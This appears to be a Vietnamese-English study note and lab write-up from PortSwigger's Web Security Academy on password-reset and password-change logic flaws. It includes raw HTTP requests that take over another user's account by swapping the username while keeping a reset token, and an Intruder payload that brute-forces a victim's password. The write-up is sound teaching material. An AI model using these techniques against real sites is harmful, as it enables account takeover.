Nên tránh gửi mật khẩu bền vững qua các kênh không an toàn. Tính bảo mật phụ thuộc vào việc mật khẩu được tạo sẽ hết hạn sau một thời gian ngắn, hoặc người dùng sẽ đổi lại mật khẩu ngay lập tức. Otherwise, this approach is highly susceptible to man-in-the-middle attacks.

Resetting Passwords Using a URL

Nếu ứng dụng gửi URL để người dùng đặt lại mật khẩu quá dễ đoán (biết được người dùng nào đang thực hiện đặt lại), nó có thể bị tấn công:

Summary

Một phương pháp mạnh mẽ hơn là gửi một URL duy nhất cho người dùng để đặt lại mật khẩu. Các triển khai kém an toàn hơn sử dụng một URL với tham số dễ đoán để xác định tài khoản, ví dụ:

http://vulnerable-website.com/reset-password?user=victim-user

Trong ví dụ trên, kẻ tấn công chỉ cần thay user thành tên người dùng của nạn nhân để đặt lại mật khẩu của họ.

Cách tiếp cận an toàn hơn là sử dụng một token có entropy cao trong URL, chẳng hạn như:

http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8

Khi nhận được token, ứng dụng nên kiểm tra xem nó có tồn tại ở backend hay không và vô hiệu hóa nó ngay khi người dùng đặt lại mật khẩu thành công:

Summary

When the user visits this URL, the system should check whether this token exists on the back-end and, if so, which user’s password it is supposed to reset. This token should expire after a short period of time and be destroyed immediately after the password has been reset.

Nếu không, kẻ tấn công có thể gửi request để đặt lại mật khẩu với token không hợp lệ hoặc không có token nhằm đặt lại mật khẩu của nạn nhân.

Lab: Password Reset Broken Logic

Request dùng để reset password:

POST /forgot-password HTTP/2
Host: 0a1a00e404b1a5a68107ac0000ff0030.web-security-academy.net
Cookie: session=4ohuEJuWjjnUjP9aULM1NwrVlEyDP3HR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: https://0a1a00e404b1a5a68107ac0000ff0030.web-security-academy.net
Referer: https://0a1a00e404b1a5a68107ac0000ff0030.web-security-academy.net/forgot-password
 
username=wiener

URL nhận được trong mail là:

https://0a1a00e404b1a5a68107ac0000ff0030.web-security-academy.net/forgot-password?temp-forgot-password-token=e8upsu9k5bwj9j4aef8o8lwerc4ha0ar

Request cập nhật password mới:

POST /forgot-password?temp-forgot-password-token=e8upsu9k5bwj9j4aef8o8lwerc4ha0ar HTTP/2
Host: 0a1a00e404b1a5a68107ac0000ff0030.web-security-academy.net
Cookie: session=4ohuEJuWjjnUjP9aULM1NwrVlEyDP3HR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Origin: https://0a1a00e404b1a5a68107ac0000ff0030.web-security-academy.net
Referer: https://0a1a00e404b1a5a68107ac0000ff0030.web-security-academy.net/forgot-password?temp-forgot-password-token=e8upsu9k5bwj9j4aef8o8lwerc4ha0ar
 
temp-forgot-password-token=e8upsu9k5bwj9j4aef8o8lwerc4ha0ar&username=wiener&new-password-1=123&new-password-2=123

Ta chỉ việc thay username thành carlos là có thể reset được password của carlos (không đổi token).

Đăng nhập để hoàn thành lab.

Changing User Passwords

Cách khai thác tính năng đổi password:

Summary

Chức năng thay đổi mật khẩu có thể đặc biệt nguy hiểm nếu nó cho phép kẻ tấn công truy cập trực tiếp mà không cần đăng nhập với tư cách người dùng nạn nhân. Ví dụ, nếu tên người dùng được cung cấp trong một trường ẩn, kẻ tấn công có thể chỉnh sửa giá trị này trong request để nhắm mục tiêu vào người dùng bất kỳ.

Lab: Password Brute-force via Password Change

Request đổi password:

POST /my-account/change-password HTTP/2
Host: 0af000ce039a6c5e80d94ed400660047.web-security-academy.net
Cookie: session=4bfCLBqBJ7ES6V1Y52a1DrvIiiIKsUzw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Origin: https://0af000ce039a6c5e80d94ed400660047.web-security-academy.net
Referer: https://0af000ce039a6c5e80d94ed400660047.web-security-academy.net/my-account?id=wiener
 
username=wiener&current-password=peter&new-password-1=123&new-password-2=123

Nếu sai current-password thì sẽ cần phải đăng nhập lại do response là một server-side redirect có dạng như sau:

HTTP/2 302 Found
Location: /login
Set-Cookie: session=sIlnYNzn1tw5fEVPf1blXzFObVC6sPZN; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Ta tạo ra macro để tự động hóa việc đăng nhập lại và sử dụng payload sau trong Intruder:

username=carlos&current-password={payload}&new-password-1=123&new-password-2=123

Với payload list là Authentication lab passwords | Web Security Academy, tìm được một response có status code là 200 cùng dòng thông báo Password changed successfully!. Payload của response này là superman.

Đăng nhập bằng tài khoản carlos:123 để hoàn thành lab.

Resources